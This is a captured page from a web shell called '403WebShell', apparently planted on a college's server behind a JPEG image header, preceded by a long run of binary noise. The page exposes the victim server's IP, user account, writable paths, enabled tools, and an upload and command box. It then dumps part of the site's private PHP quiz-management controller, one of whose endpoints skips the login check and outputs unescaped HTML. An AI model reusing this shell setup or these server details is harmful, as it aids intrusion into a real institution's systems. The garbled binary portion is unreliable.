JFIFXX    $.' ",#(7),01444'9=82<.342  2!!22222222222222222222222222222222222222222222222222"4 ,PG"Z_4˷kjزZ,F+_z,© zh6٨icfu#ډb_N?wQ5-~I8TK<5oIv-k_U_~bMdӜUHh?]EwQk{_}qFW7HTՑYF?_'ϔ_Ջt=||I 6έ"D/[k9Y8ds|\Ҿp6Ҵ].6znopM[mei$[soᘨ˸ nɜG-ĨUycP3.DBli;hjx7Z^NhN3u{:jx힞#M&jL P@_ P&o89@Sz6t7#Oߋ s}YfTlmrZ)'Nk۞pw\Tȯ?8`Oi{wﭹW[r Q4F׊3m&L=h3z~#\l :F,j@ ʱwQT8"kJO6֚l}R>ډK]y&p}b;N1mr$|7>e@BTM*-iHgD) Em|ؘbҗaҾt4oG*oCNrPQ@z,|?W[0:n,jWiEW$~/hp\?{(0+Y8rΟ+>S-SVN;}s?. w9˟<Mq4Wv'{)01mBVW[8/< %wT^5b)iM pgN&ݝVO~qu9 !J27$O-! :%H ـyΠM=t{!S oK8txA& j0 vF Y|y ~6@c1vOpIg4lODL Rcj_uX63?nkWyf;^*B @~a`Eu+6L.ü>}y}_O6͐:YrGXkGl^w~㒶syIu! W XN7BVO!X2wvGRfT#t/?%8^WaTGcLMI(J1~8?aT ]ASE(*E} 2#I/׍qz^t̔bYz4xt){ OH+(EA&NXTo"XC')}Jzp ~5}^+6wcQ|LpdH}(.|kc4^"Z?ȕ a<L!039C EuCFEwç ;n?*oB8bʝ'#RqfM}7]s2tcS{\icTx;\7KPʇ Z O-~c>"?PEO8@8GQgaՎ󁶠䧘_%#r>1zaebqcPѵn#L =׀t L7`VA{C:ge@w1 Xp3c3ġpM"'-@n4fGB3DJ8[JoߐgK)ƛ$ 83+ 6ʻ SkI*KZlT _`?KQKdB`s}>`*>,*@JdoF*弝O}ks]yߘc1GV<=776qPTtXԀ!9*44Tހ3XΛex46YD  BdemDa\_l,G/֌7Y](xTt^%GE4}bTڹ;Y)BQu>J/J ⮶.XԄjݳ+Ed r5_D1 o Bx΢#<W8R6@gM. drD>(otU@x=~v2 ӣdoBd3eO6㣷ݜ66YQz`S{\P~z m5{J/L1xO\ZFu>ck#&:`$ai>2ΔloF[hlEܺΠk:)` $[69kOw\|8}ބ:񶐕IA1/=2[,!.}gN#ub ~݊}34qdELc$"[qU硬g^%B zrpJru%v\h1Yne`ǥ:gpQM~^Xi `S:V29.PV?Bk AEvw%_9CQwKekPؠ\;Io d{ ߞoc1eP\ `E=@KIRYK2NPlLɀ)&eB+ь( JTx_?EZ }@ 6U뙢طzdWIn` D噥[uV"G&Ú2g}&m?ċ"Om# {ON"SXNeysQ@FnVgdX~nj]J58up~.`r\O,ư0oS _Ml4kv\JSdxSW<AeIX$Iw:Sy›R9Q[,5;@]%u@ *rolbI  +%m:͇ZVủθau,RW33 dJeTYE.Mϧ-oj3+yy^cVO9NV\nd1 !͕_)av;թMlWR1)ElP;yوÏu 3k5Pr6<⒲l!˞*u־n!l:UNW %Chx8vL'X@*)̮ˍ D-M+JUkvK+x8cY?Ԡ~3mo|u@[XeYC\Kpx8oCC&N~3-H MXsu<`~"WL$8ξ3a)|:@m\^`@ҷ)5p+6p%i)P Mngc#0AruzRL+xSS?ʮ}()#tmˇ!0}}y$6Lt;$ʳ{^6{v6ķܰgVcnn ~zx«,2u?cE+ȘH؎%Za)X>uWTzNyosFQƤ$*&LLXL)1" LeOɟ9=:tZcŽY?ӭVwv~,Yrۗ|yGaFC.+ v1fήJ]STBn5sW}y$~z'c 8  ,! pVNSNNqy8z˱A4*'2n<s^ǧ˭PJޮɏUGLJ*#i}K%,)[z21z ?Nin1?TIR#m-1lA`fT5+ܐcq՝ʐ,3f2Uեmab#ŠdQy>\)SLYw#.ʑf ,"+w~N'cO3FN<)j&,- љ֊_zSTǦw>?nU仆Ve0$CdrP m׈eXmVu L.bֹ [Դaզ*\y8Է:Ez\0KqC b̘cөQ=0YsNS.3.Oo:#v7[#߫ 5܎LEr49nCOWlG^0k%;YߝZǓ:S#|}y,/kLd TA(AI$+I3;Y*Z}|ӧOdv..#:nf>>ȶITX 8y"dR|)0=n46ⲑ+ra ~]R̲c?6(q;5% |uj~z8R=XIV=|{vGj\gcqz؋%Mߍ1y#@f^^>N#x#۹6Y~?dfPO{P4Vu1E1J *|%JN`eWuzk M6q t[ gGvWIGu_ft5j"Y:Tɐ*; e54q$C2d} _SL#mYpO.C;cHi#֩%+) ӍƲVSYźg |tj38r|V1#;.SQA[S#`n+$$I P\[@s(EDzP])8G#0B[ىXIIq<9~[Z멜Z⊔IWU&A>P~#dp]9 "cP Md?٥Ifتuk/F9c*9Ǎ:ØFzn*@|Iށ9N3{'['ͬҲ4#}!V Fu,,mTIkv C7vB6kT91*l '~ƞFlU'M ][ΩũJ_{iIn$L jOdxkza۪#EClx˘oVɞljr)/,߬hL#^Lф,íMƁe̩NBLiLq}(q6IçJ$WE$:=#(KBzђ xlx?>Պ+>W,Ly!_DŌlQ![ SJ1ƐY}b,+Loxɓ)=yoh@꥟/Iѭ=Py9 ۍYӘe+pJnϱ?V\SO%(t =?MR[Șd/ nlB7j !;ӥ/[-A>dNsLj ,ɪv=1c.SQO3UƀܽE̻9GϷD7(}Ävӌ\y_0[w <΍>a_[0+LF.޺f>oNTq;y\bՃyjH<|q-eɏ_?_9+PHp$[uxK wMwNی'$Y2=qKBP~Yul:[<F12O5=d]Ysw:ϮEj,_QXz`H1,#II dwrP˂@ZJVy$\y{}^~[:NߌUOdؾe${p>G3cĖlʌ ת[`ϱ-WdgIig2 }s ؤ(%#sS@~3XnRG~\jc3vӍLM[JBTs3}jNʖW;7ç?=XF=-=qߚ#='c7ڑWI(O+=:uxqe2zi+kuGR0&eniT^J~\jyp'dtGsO39* b#Ɋ p[BwsT>d4ۧsnvnU_~,vƜJ1s QIz)(lv8MU=;56Gs#KMP=LvyGd}VwWBF'à ?MHUg2 !p7Qjڴ=ju JnA suMeƆҔ!)'8Ϣٔޝ(Vpצ֖d=ICJǠ{qkԭ߸i@Ku|p=..*+xz[Aqġ#s2aƊRR)*HRsi~a &fMP-KL@ZXy'x{}Zm+:)) IJ-iu ܒH'L(7yGӜq j 6ߌg1go,kرtY?W,pefOQS!K۟cҒA|սj>=⬒˧L[ ߿2JaB~Ru:Q] 0H~]7ƼI(}cq 'ήETq?fabӥvr )o-Q_'ᴎoK;Vo%~OK *bf:-ťIR`B5!RB@ï u ̯e\_U_ gES3QTaxU<~c?*#]MW,[8Oax]1bC|踤Plw5V%){t<d50iXSUm:Z┵i"1^B-PhJ&)O*DcWvM)}Pܗ-q\mmζZ-l@}aE6F@&Sg@ݚM ȹ 4#p\HdYDoH"\..RBHz_/5˘6KhJRPmƶim3,#ccoqa)*PtRmk7xDE\Y閣_X<~)c[[BP6YqS0%_;Àv~| VS؇ 'O0F0\U-d@7SJ*z3nyPOm~P3|Yʉr#CSN@ ƮRN)r"C:: #qbY. 6[2K2uǦHYRQMV G$Q+.>nNHq^ qmMVD+-#*U̒ p욳u:IBmPV@Or[b= 1UE_NmyKbNOU}the`|6֮P>\2PVIDiPO;9rmAHGWS]J*_G+kP2KaZH'KxWMZ%OYDRc+o?qGhmdSoh\D|:WUAQc yTq~^H/#pCZTI1ӏT4"ČZ}`w#*,ʹ 0i課Om*da^gJ݅{le9uF#Tֲ̲ٞC"qߍ ոޑo#XZTp@ o8(jdxw],f`~|,s^f1t|m򸄭/ctr5s79Q4H1꠲BB@l9@C+wpxu£Yc9?`@#omHs2)=2.ljg9$YS%*LRY7Z,*=䷘$armoϰUW.|rufIGwtZwo~5 YյhO+=8fF)W7L9lM̘·Y֘YLf큹pRF99.A "wz=E\Z'a 2Ǚ#;'}G*l^"q+2FQ hjkŦ${ޮ-T٭cf|3#~RJt$b(R(rdx >U b&9,>%E\ Άe$'q't*אެb-|dSBOO$R+H)܎K1m`;J2Y~9Og8=vqD`K[F)k[1m޼cn]skz$@)!I x՝"v9=ZA=`Ɠi :E)`7vI}dYI_ o:obo 3Q&D&2= Ά;>hy.*ⅥSӬ+q&j|UƧ}J0WW< ۋS)jQRjƯrN)Gű4Ѷ(S)Ǣ8iW52No˓ ۍ%5brOnL;n\G=^UdI8$&h'+(cȁ߫klS^cƗjԌEꭔgFȒ@}O*;evWVYJ\]X'5ղkFb 6Ro՜mi Ni>J?lPmU}>_Z&KKqrIDՉ~q3fL:Se>E-G{L6pe,8QIhaXaUA'ʂs+טIjP-y8ۈZ?J$WP Rs]|l(ԓsƊio(S0Y 8T97.WiLc~dxcE|2!XKƘਫ਼$((6~|d9u+qd^389Y6L.I?iIq9)O/뚅OXXVZF[یgQLK1RҖr@v#XlFНyS87kF!AsM^rkpjPDyS$Nqnxҍ!Uf!ehi2m`YI9r6 TFC}/y^Η5d'9A-J>{_l+`A['յϛ#w:݅%X}&PStQ"-\縵/$ƗhXb*yBS;Wջ_mcvt?2}1;qSdd~u:2k52R~z+|HE!)Ǟl7`0<,2*Hl-x^'_TVgZA'j ^2ΪN7t?w x1fIzC-ȖK^q;-WDvT78Z hK(P:Q- 8nZ܃e貾<1YT<,"6{/ ?͟|1:#gW>$dJdB=jf[%rE^il:BxSּ1հ,=*7 fcG#q eh?27,!7x6nLC4x},GeǝtC.vS F43zz\;QYC,6~;RYS/6|25vTimlv& nRh^ejRLGf? ۉҬܦƩ|Ȱ>3!viʯ>vオX3e_1zKȗ\qHS,EW[㺨uch⍸O}a>q6n6N6qN ! 1AQaq0@"2BRb#Pr3C`Scst$4D%Td ?Na3mCwxAmqmm$4n淿t'C"wzU=D\R+wp+YT&պ@ƃ3ޯ?AﶂaŘ@-Q=9Dռѻ@MVP܅G5fY6# ?0UQ,IX(6ڵ[DIMNލc&υj\XR|,4 jThAe^db#$]wOӪ1y%LYm뭛CUƃߜ}Cy1XνmF8jI]HۺиE@Ii;r8ӭVFՇ| &?3|xBMuSGe=Ӕ#BE5GY!z_eqр/W>|-Ci߇t1ޯќdR3ug=0 5[?#͏qcfH{ ?u=??ǯ}ZzhmΔBFTWPxs}G93 )gGR<>r h$'nchPBjJҧH -N1N?~}-q!=_2hcMlvY%UE@|vM2.Y[|y"EïKZF,ɯ?,q?vM 80jx";9vk+ ֧ ȺU?%vcVmA6Qg^MA}3nl QRNl8kkn'(M7m9وq%ޟ*h$Zk"$9: ?U8Sl,,|ɒxH(ѷGn/Q4PG%Ա8N! &7;eKM749R/%lc>x;>C:th?aKXbheᜋ^$Iհ hr7%F$EFdt5+(M6tÜUU|zW=aTsTgdqPQb'm1{|YXNb P~F^F:k6"j! Ir`1&-$Bevk:y#ywI0x=D4tUPZHڠ底taP6b>xaQ# WeFŮNjpJ* mQN*I-*ȩFg3 5Vʊɮa5FO@{NX?H]31Ri_uѕ 0 F~:60p͈SqX#a5>`o&+<2D: ڝ$nP*)N|yEjF5ټeihyZ >kbHavh-#!Po=@k̆IEN@}Ll?jO߭ʞQ|A07xwt!xfI2?Z<ץTcUj]陎Ltl }5ϓ$,Omˊ;@OjEj(ا,LXLOЦ90O .anA7j4 W_ٓzWjcBy՗+EM)dNg6y1_xp$Lv:9"zpʙ$^JԼ*ϭo=xLj6Ju82AH3$ٕ@=Vv]'qEz;I˼)=ɯx /W(Vp$ mu񶤑OqˎTr㠚xsrGCbypG1ߠw e8$⿄/M{*}W]˷.CK\ުx/$WPwr |i&}{X >$-l?-zglΆ(FhvS*b߲ڡn,|)mrH[a3ר[13o_U3TC$(=)0kgP u^=4 WYCҸ:vQרXàtkm,t*^,}D* "(I9R>``[~Q]#afi6l86:,ssN6j"A4IuQ6E,GnHzSHOuk5$I4ؤQ9@CwpBGv[]uOv0I4\yQѸ~>Z8Taqޣ;za/SI:ܫ_|>=Z8:SUIJ"IY8%b8H:QO6;7ISJҌAά3>cE+&jf$eC+z;V rʺmyeaQf&6ND.:NTvm<- uǝ\MvZYNNT-A>jr!SnO 13Ns%3D@`ܟ 1^c< aɽ̲Xë#w|ycW=9I*H8p^(4՗karOcWtO\ƍR8'KIQ?5>[}yUײ -h=% qThG2)"ו3]!kB*pFDlA,eEiHfPs5H:Փ~H0DتDIhF3c2E9H5zԑʚiX=:mxghd(v׊9iSOd@0ڽ:p5h-t&Xqӕ,ie|7A2O%PEhtjY1wЃ!  ࢽMy7\a@ţJ 4ȻF@o̒?4wx)]P~u57X 9^ܩU;Iꭆ 5 eK27({|Y׎ V\"Z1 Z}(Ǝ"1S_vE30>p; ΝD%xW?W?vo^Vidr[/&>~`9Why;R ;;ɮT?r$g1KACcKl:'3 cﳯ*"t8~l)m+U,z`(>yJ?h>]vЍG*{`;y]IT ;cNUfo¾h/$|NS1S"HVT4uhǜ]v;5͠x'C\SBplh}N ABx%ޭl/Twʽ]D=Kžr㻠l4SO?=k M: cCa#ha)ѐxcsgPiG{+xQI= zԫ+ 8"kñj=|c yCF/*9жh{ ?4o kmQNx;Y4膚aw?6>e]Qr:g,i"ԩA*M7qB?ӕFhV25r[7 Y }LR}*sg+xr2U=*'WSZDW]WǞ<叓{$9Ou4y90-1'*D`c^o?(9uݐ'PI& fJݮ:wSjfP1F:X H9dԯ˝[_54 }*;@ܨ ðynT?ןd#4rGͨH1|-#MrS3G3).᧏3vz֑r$G"`j 1tx0<ƆWh6y6,œGagAyb)hDß_mü gG;evݝnQ C-*oyaMI><]obD":GA-\%LT8c)+y76oQ#*{(F⽕y=rW\p۩cA^e6KʐcVf5$'->ՉN"F"UQ@fGb~#&M=8טJNu9D[̤so~ G9TtW^g5y$bY'سǴ=U-2 #MCt(i lj@Q 5̣i*OsxKf}\M{EV{υƇ);HIfeLȣr2>WIȂ6ik 5YOxȺ>Yf5'|H+98pjn.OyjY~iw'l;s2Y:'lgꥴ)o#'SaaKZ m}`169n"xI *+ }FP"l45'ZgE8?[X7(.Q-*ތL@̲v.5[=t\+CNܛ,gSQnH}*FG16&:t4ُ"Ạ$b |#rsaT ]ӽDP7ո0y)e$ٕvIh'QEAm*HRI=: 4牢) %_iNݧl] NtGHL ɱg<1V,J~ٹ"KQ 9HS9?@kr;we݁]I!{ @G["`J:n]{cAEVʆ#U96j#Ym\qe4hB7Cdv\MNgmAyQL4uLjj9#44tl^}LnR!t±]rh6ٍ>yҏNfU  Fm@8}/ujb9he:AyծwGpΧh5l}3p468)Udc;Us/֔YX1O2uqs`hwgr~{ RmhN؎*q 42*th>#E#HvOq}6e\,Wk#Xb>p}դ3T5†6[@Py*n|'f֧>lư΂̺SU'*qp_SM 'c6m ySʨ;MrƋmKxo,GmPAG:iw9}M(^V$ǒѽ9| aJSQarB;}ٻ֢2%Uc#gNaݕ'v[OY'3L3;,p]@S{lsX'cjwk'a.}}& dP*bK=ɍ!;3ngΊUߴmt'*{,=SzfD Ako~Gaoq_mi}#mPXhύmxǍ΂巿zfQc|kc?WY$_Lvl߶c`?ljݲˏ!V6UЂ(A4y)HpZ_x>eR$/`^'3qˏ-&Q=?CFVR DfV9{8gnh(P"6[D< E~0<@`G6Hгcc cK.5DdB`?XQ2ٿyqo&+1^ DW0ꊩG#QnL3c/x 11[yxპCWCcUĨ80me4.{muI=f0QRls9f9~fǨa"@8ȁQ#cicG$Gr/$W(WV"m7[mAmboD j۳ l^kh׽ # iXnveTka^Y4BNĕ0 !01@Q"2AaPq3BR?@4QT3,㺠W[=JKϞ2r^7vc:9 EߴwS#dIxu:Hp9E! V 2;73|F9Y*ʬFDu&y؟^EAA(ɩ^GV:ݜDy`Jr29ܾ㝉[E;FzxYGUeYC v-txIsםĘqEb+P\ :>iC';k|zرny]#ǿbQw(r|ӹs[D2v-%@;8<a[\o[ϧwI!*0krs)[J9^ʜp1) "/_>o<1AEy^C`x1'ܣnps`lfQ):lb>MejH^?kl3(z:1ŠK&?Q~{ٺhy/[V|6}KbXmn[-75q94dmc^h X5G-}دBޟ |rtMV+]c?-#ڛ^ǂ}LkrOu>-Dry D?:ޞUǜ7V?瓮"#rչģVR;n/_ ؉vݶe5db9/O009G5nWJpA*r9>1.[tsFnQ V 77R]ɫ8_0<՜IFu(v4Fk3E)N:yڮeP`1}$WSJSQNjٺ޵#lј(5=5lǏmoWv-1v,Wmn߀$x_DȬ0¤#QR[Vkzmw"9ZG7'[=Qj8R?zf\a=OU*oBA|G254 p.w7  &ξxGHp B%$gtЏ򤵍zHNuЯ-'40;_3 !01"@AQa2Pq#3BR?ʩcaen^8F<7;EA{EÖ1U/#d1an.1ě0ʾRh|RAo3m3 % 28Q yφHTo7lW>#i`qca m,B-j݋'mR1Ήt>Vps0IbIC.1Rea]H64B>o]($Bma!=?B KǾ+Ծ"nK*+[T#{EJSQs5:U\wĐf3܆&)IԆwE TlrTf6Q|Rh:[K zc֧GC%\_a84HcObiؖV7H )*ģK~Xhչ04?0 E<}3#u? |gS6ꊤ|I#Hڛ աwX97Ŀ%SLy6č|Fa 8b$sקhb9RAu7˨pČ_\*w묦F 4D~f|("mNKiS>$d7SlA/²SL|6N}S˯g]6; #. 403WebShell
403Webshell
Server IP : 43.205.77.33  /  Your IP : 216.73.216.84
Web Server : Apache
System : Linux 43-205-77-33.cprapid.com 3.10.0-1160.119.1.el7.tuxcare.els13.x86_64 #1 SMP Fri Nov 22 06:29:45 UTC 2024 x86_64
User : dbcollege ( 1086)
PHP Version : 8.0.30
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/dbcollege/www/cas/application/controllers/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/dbcollege/www/cas/application/controllers/admin/TasksAndQuizzes.php
<?php

/**
 * Controller For Handling All Requests Related To Quizzes & Assignments
 *
 * @author Ankit Srivastava
 */
defined('BASEPATH') OR exit('No direct script access allowed');

class TasksAndQuizzes extends CI_Controller {

    public function __construct() {
        parent::__construct();
        $this->load->model('admin/TaskAndQuizManagement');
        $this->load->model('admin/CourseManagement');
        $this->load->model('admin/SessionManagement');
        $this->load->model('admin/SubjectManagement');
        $this->load->model('admin/StudentManagement');
    }

    public function topics() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $viewData["topics"] = $this->TaskAndQuizManagement->getAllSubjectTopics()->result();
            $this->load->view("admin/quizzes/topics", $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function createTopic() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData['courses'] = $this->CourseManagement->getActiveAndNonDeletedCourses()->result();
            $this->load->view('admin/quizzes/createTopic', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function saveNewTopic() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->form_validation->set_rules('subjectCourse', 'Course', 'trim|required', array('required' => 'Please Select A Course.'));
            $this->form_validation->set_rules('subject', 'Subject', 'trim|required', array('required' => 'Please Select Any Subject.'));
            $this->form_validation->set_rules('subjectTopic', 'Subject Topic', 'trim|required', array('required' => 'Subject Topic Can Not Be Blank.'));
            $queryByTopicName = $this->TaskAndQuizManagement->getTopicInfoByName(trim($this->input->post('subjectTopic')));
            $topicInfoByName = $queryByTopicName->result();
            if ($this->form_validation->run() == FALSE) {
                $this->createTopic();
            } else if (sizeof($topicInfoByName)) {
                $this->session->set_flashdata('errorMessage', "A Topic With This Name (" . trim($this->input->post('subjectTopic')) . ") Already Exits. Please Choose A Different Topic Name.");
                $this->createTopic();
            } else {
                $newTopicInfo = array(
                    'stm_name' => addslashes(trim($this->input->post('subjectTopic'))),
                    'stm_description' => addslashes(trim($this->input->post('subjectTopicDesc'))),
                    'sm_id' => $this->input->post('subject'),
                    'stm_added_on' => date("Y-m-d H:i:s"),
                    'stm_added_by' => $this->session->userdata("adminData")["smember_id"],
                    'stm_updated_on' => date("Y-m-d H:i:s"),
                    'stm_updated_by' => $this->session->userdata("adminData")["smember_id"]
                );
                if ($this->TaskAndQuizManagement->createNewTopic($newTopicInfo)) {
                    $this->session->set_flashdata('successMessage', 'Topic Created Successfully.');
                    redirect("admin/TasksAndQuizzes/topics");
                } else {
                    $this->session->set_flashdata('errorMessage', 'An Error Occured While Creating Topic. Try Later.');
                    redirect("admin/TasksAndQuizzes/topics");
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function saveNewTopicAndReturnForDropDown() {
        if ($this->sessionvalidator->isLoggedIn()) {
            if (trim($this->input->post('subjectTopicModal')) == "") {
                $responseData = array(
                    'csrfName' => $this->security->get_csrf_token_name(),
                    'csrfHash' => $this->security->get_csrf_hash(),
                    'st_id' => -1,
                    'st_name' => ""
                );
                echo json_encode($responseData);
            } else if (sizeof($this->TaskAndQuizManagement->getTopicInfoByName(trim($this->input->post('subjectTopicModal')))->result())) {
                $responseData = array(
                    'csrfName' => $this->security->get_csrf_token_name(),
                    'csrfHash' => $this->security->get_csrf_hash(),
                    'stm_id' => 0,
                    'stm_name' => ""
                );
                echo json_encode($responseData);
            } else {
                $newTopicInfo = array(
                    'sm_id' => $this->input->post('subjectModal'),
                    'stm_name' => addslashes(trim($this->input->post('subjectTopicModal'))),
                    'stm_description' => addslashes(trim($this->input->post('subjectTopicModalDesc'))),
                    'stm_added_on' => date("Y-m-d H:i:s"),
                    'stm_added_by' => $this->session->userdata("adminData")["smember_id"],
                    'stm_updated_on' => date("Y-m-d H:i:s"),
                    'stm_updated_by' => $this->session->userdata("adminData")["smember_id"]
                );
                $stm_id = $this->TaskAndQuizManagement->createNewTopic($newTopicInfo);
                $topic_info = $this->TaskAndQuizManagement->getTopicInfoBy($stm_id)->result()[0];
                $responseData = array(
                    'csrfName' => $this->security->get_csrf_token_name(),
                    'csrfHash' => $this->security->get_csrf_hash(),
                    'stm_id' => $topic_info->stm_id,
                    'stm_name' => stripslashes($topic_info->stm_name)
                );
                echo json_encode($responseData);
            }
        } else {
            redirect("admin/");
        }
    }

    public function editTopic($topic_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData['courses'] = $this->CourseManagement->getActiveAndNonDeletedCourses()->result();
            $viewData['topicInfo'] = $this->TaskAndQuizManagement->getTopicInfoBy($topic_id)->result()[0];
            $this->load->view('admin/quizzes/editTopic', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function updateTopic() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $stm_id = $this->input->post('stm_id');
            $this->form_validation->set_rules('subjectCourse', 'Course', 'trim|required', array('required' => 'Please Select A Course.'));
            $this->form_validation->set_rules('subject', 'Subject', 'trim|required', array('required' => 'Please Select Any Subject.'));
            $this->form_validation->set_rules('subjectTopic', 'Subject Topic', 'trim|required', array('required' => 'Subject Topic Can Not Be Blank.'));
            if ($this->form_validation->run() == FALSE) {
                $this->editTopic($stm_id);
            } else if (!$this->TaskAndQuizManagement->isTopicNameSafeUpdate($stm_id, trim($this->input->post('subjectTopic')))) {
                $this->session->set_flashdata('errorMessage', "A Topic With This Name (" . trim($this->input->post('subjectTopic')) . ") Already Exits. Please Choose A Different Name.");
                $this->editTopic($stm_id);
            } else {
                $topicUpdateInfo = array(
                    'stm_id' => $stm_id,
                    'stm_name' => addslashes(trim($this->input->post('subjectTopic'))),
                    'stm_description' => addslashes(trim($this->input->post('subjectTopicDesc'))),
                    'sm_id' => $this->input->post('subject'),
                    'stm_updated_on' => date("Y-m-d H:i:s"),
                    'stm_updated_by' => $this->session->userdata("adminData")["smember_id"]
                );
                if ($this->TaskAndQuizManagement->updateTopicInfo($topicUpdateInfo)) {
                    $this->session->set_flashdata('successMessage', 'Topic Updated Successfully.');
                    redirect("admin/TasksAndQuizzes/topics");
                } else {
                    $this->session->set_flashdata('errorMessage', 'An Error Occured While Updating Topic. Try Later.');
                    redirect("admin/TasksAndQuizzes/topics");
                }
            }
        } else {
            redirect("admin/");
        }
    }

    public function toggleTopicStatus($topic_id, $toUpdateStatus) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $topicUpdateData = array(
                'stm_id' => $topic_id,
                'stm_updated_on' => date("Y-m-d H:i:s"),
                'stm_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'stm_active_status' => $toUpdateStatus
            );
            if ($this->TaskAndQuizManagement->updateTopicInfo($topicUpdateData)) {
                $this->session->set_flashdata('successMessage', 'Topic Status Updated Successfully.');
                redirect("admin/TasksAndQuizzes/topics");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Updating Topic Status. Try Later.');
                redirect("admin/TasksAndQuizzes/topics");
            }
        } else {
            redirect("admin/");
        }
    }

    public function deleteTopic($topic_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $topicDeleteData = array(
                'stm_id' => $topic_id,
                'stm_updated_on' => date("Y-m-d H:i:s"),
                'stm_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'stm_delete_status' => 'T'
            );
            if ($this->TaskAndQuizManagement->updateTopicInfo($topicDeleteData)) {
                $this->session->set_flashdata('successMessage', 'Topic Deleted Successfully.');
                redirect("admin/TasksAndQuizzes/topics");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Deleting Topic. Try Later.');
                redirect("admin/TasksAndQuizzes/topics");
            }
        } else {
            redirect("admin/");
        }
    }

    public function undoDeleteTopic($topic_id) {
        if ($this->sessionvalidator->isLoggedIn()) {
            $topicDeleteData = array(
                'stm_id' => $topic_id,
                'stm_updated_on' => date("Y-m-d H:i:s"),
                'stm_updated_by' => $this->session->userdata("adminData")["smember_id"],
                'stm_delete_status' => 'F'
            );
            if ($this->TaskAndQuizManagement->updateTopicInfo($topicDeleteData)) {
                $this->session->set_flashdata('successMessage', 'Topic Recovered Successfully.');
                redirect("admin/TasksAndQuizzes/topics");
            } else {
                $this->session->set_flashdata('errorMessage', 'Some Error Occurred While Recovering Topic. Try Later.');
                redirect("admin/TasksAndQuizzes/topics");
            }
        } else {
            redirect("admin/");
        }
    }

    public function getTopicsForDropdownBySubject() {
        $subject_id = $_POST['subject_id'];
        $query = $this->TaskAndQuizManagement->getAllNonDeletedActiveSubjectTopicsBy($subject_id);
        $topics = $query->result();
        if (sizeof($topics)) {
            $options = "";
            for ($i = 0; $i < (sizeof($topics)); $i++) {
                $options .= "<option value=" . $topics[$i]->stm_id . ">" . stripslashes($topics[$i]->stm_name) . "</option>";
            }
            $responseData = array(
                'csrfName' => $this->security->get_csrf_token_name(),
                'csrfHash' => $this->security->get_csrf_hash(),
                'topics' => $options
            );
        } else {
            $options = "<option value='' disabled>No Topics Available</option>";
            $responseData = array(
                'csrfName' => $this->security->get_csrf_token_name(),
                'csrfHash' => $this->security->get_csrf_hash(),
                'topics' => $options
            );
        }
        echo json_encode($responseData);
    }

    /* Request Handlers For Subjective Questions */

    public function subjectiveQuestions() {
        if ($this->sessionvalidator->isLoggedIn() && $this->sessionvalidator->isAccessGranted()) {
            $viewData['subjectiveGenQuestion'] = $this->TaskAndQuizManagement->getAllGeneralQuestionsOfUser($this->session->userdata("adminData")['smember_id'], "S")->result();
            $viewData['subjectiveCompQuestion'] = $this->TaskAndQuizManagement->getAllGroupQuestionsOfUser($this->session->userdata("adminData")['smember_id'], "S")->result();
            if ($this->session->flashdata('genQuestionTab') == NULL && $this->session->flashdata('compQuestionTab') == NULL) {
                $this->session->set_flashdata('genQuestionTab', 'active');
            }
            $this->load->view("admin/quizzes/subjectiveQuestions", $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function createSubjectiveGeneralQuestions() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $viewData['courses'] = $this->CourseManagement->getActiveAndNonDeletedCourses()->result();
            $this->load->view('admin/quizzes/addSubjectiveGeneralQues', $viewData);
        } else {
            redirect("admin/");
        }
    }

    public function saveNewSubjectiveGeneralQuestion() {
        if ($this->sessionvalidator->isLoggedIn()) {
            $this->form_validation->set_rules('subjectCourse', 'Course', 'trim|required', array('required' => 'Please Select Any Course.'));
            $this->form_validation->set_rules('subject', 'Subject', 'trim|required', array('required' => 'Please Select Any Subject.'));
            $this->form_validation->set_rules('subjectTopic', 'Subject Topic', 'trim|required', array('required' => 'Please Select Any Topic.'));
            if ($this->form_validation->run() == FALSE) {
                $this->createSubjectiveGeneralQuestions();
            } else {
                $questions = $this->input->post("questions");
                $questionMarks = $this->input->post("marks");
                $qestionsInfo = array();
                if (sizeof($questions) == 1) {
                    if (!empty($_FILES['imageFile']['name'])) {
                        $genSubQuesImg['upload_path'] = './assets/admin/uploads/questionBank/';
                        $genSubQuesImg['allowed_types'] = 'jpeg|jpg|png';
                        $genSubQuesImg['max_size'] = '500';
                        $genSubQuesImg['file_ext_tolower'] = TRUE;
                        $genSubQuesImg['encrypt_name'] = TRUE;
                        $this->load->library('upload', $genSubQuesImg);
                        if (!$this->upload->do_upload('imageFile')) {
                            $this->session->set_flashdata('errorMessage', "Question Image File Can Not Be Uploaded As It Violates Upload File Criteria. File Size 500 KB Max. & Allowed Extension: Only *.png,*.jpg,*.jpeg.");
                            $this->createSubjectiveGeneralQuestions();
                        } else {
                            array_push($qestionsInfo, array(
                                'qb_question' => addslashes($questions[0]),
                                'qb_marks' => addslashes($questionMarks[0]),
                                'qb_image' => "/assets/admin/uploads/questionBank/" . $this->upload->data()['file_name'],
                                'stm_id' => trim($this->input->post('subjectTopic')),
                                'qb_ques_type_flag' => "S",
                                'qb_added_on' => date("Y-m-d H:i:s"),
                                'qb_added_by' => $this->session->userdata("adminData")["smember_id"],
                                'qb_updated_on' => date("Y-m-d H:i:s"),
                                'qb_updated_by' => $this->session->userdata("adminData")["smember_id"]
                            ));
                        }
                    } else {
                        array_push($qestionsInfo, array(
                            'qb_question' => addslashes($questions[0]),
                            'qb_marks' => addslashes($questionMarks[0]),
                            'stm_id' => trim($this->input->post('subjectTopic')),
                            'qb_ques_type_flag' => "S",
